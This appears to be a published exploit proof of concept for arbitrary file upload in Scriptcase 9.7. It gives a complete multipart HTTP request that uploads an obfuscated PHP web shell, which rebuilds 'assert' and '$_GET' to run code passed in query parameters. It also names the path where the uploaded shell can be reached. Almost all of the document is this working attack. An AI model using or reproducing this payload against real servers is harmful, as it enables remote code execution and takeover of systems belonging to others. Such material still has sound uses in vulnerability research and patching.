Scriptcase 9.7 Shell Upload

`# Exploit Title: Scriptcasr 9.7 arbitrary file upload getshell  
# Date: 2022-04-08  
# Exploit Author: luckyt0mat0  
# Vendor Homepage: https://www.scriptcase.net/  
# Software Link: https://www.scriptcase.net/download/  
# Version: 9.7  
# Tested on: Windows Server 2019  
  
# Proof of Concept:  
  
POST /scriptcase/devel/lib/third/jquery_plugin/jQuery-File-Upload/server/php/ HTTP/1.1  
Host: 10.50.1.214:8091  
Content-Length: 570  
Accept: application/json, text/javascript, */*; q=0.01  
X-Requested-With: XMLHttpRequest  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6gbgDzCQ2aZWm6iZ  
Origin: http://10.50.1.214:8091  
Referer: http://10.50.1.214:8091/scriptcase/devel/iface/app_template.php?randjs=MYxlp4xwCiIQBjy  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9  
Cookie: sales1.scriptcase-_zldp=%2Blf8JBkbzCTGvnrypkRAEoy1%2BVW%2BpJL8Vv42yN%2FS02hog7eXhi2oz9sY2rJ5JXybCaUbPUvRWVc%3D; sales1.scriptcase-_zldt=6206f2cd-57fd-4e1d-99a8-b9a27c7b3421-2; PHPSESSID=be1281e8cde9348d284c3074c9bea53e; sc_actual_lang_samples=en_us  
Connection: close  
  
------WebKitFormBoundary6gbgDzCQ2aZWm6iZ  
Content-Disposition: form-data; name="jqul_csrf_token"  
  
gZiFUw6nNw84D4euS8RJ3AQLz0o3Bo1Q24Kq1ufcJA8FjRCIeohe0gBZ34hXIW7M  
------WebKitFormBoundary6gbgDzCQ2aZWm6iZ  
Content-Disposition: form-data; name="files[]"; filename="123.php"  
Content-Type: text/html  
  
<?php  
error_reporting(0);  
$a = rad2deg^(3).(2);  
$b = asin^(2).(6);  
$c = ceil^(1).(1);  
$exp = $a.$b.$c; //assert  
$pi=(is_nan^(6).(4)).(tan^(1).(5)); //_GET  
$pi=$$pi; //$_GET  
call_user_func($exp,$pi{0}($pi{1}));  
?>  
------WebKitFormBoundary6gbgDzCQ2aZWm6iZ———  
  
# Notes:  
- PHPSESSID is - be1281e8cde9348d284c3074c9bea53e  
- Upload path is - http://x.x.x.:8091/scriptcase/tmp/sc_tmp_upload_{{PHPSESSID}}/123.php  
  
  
`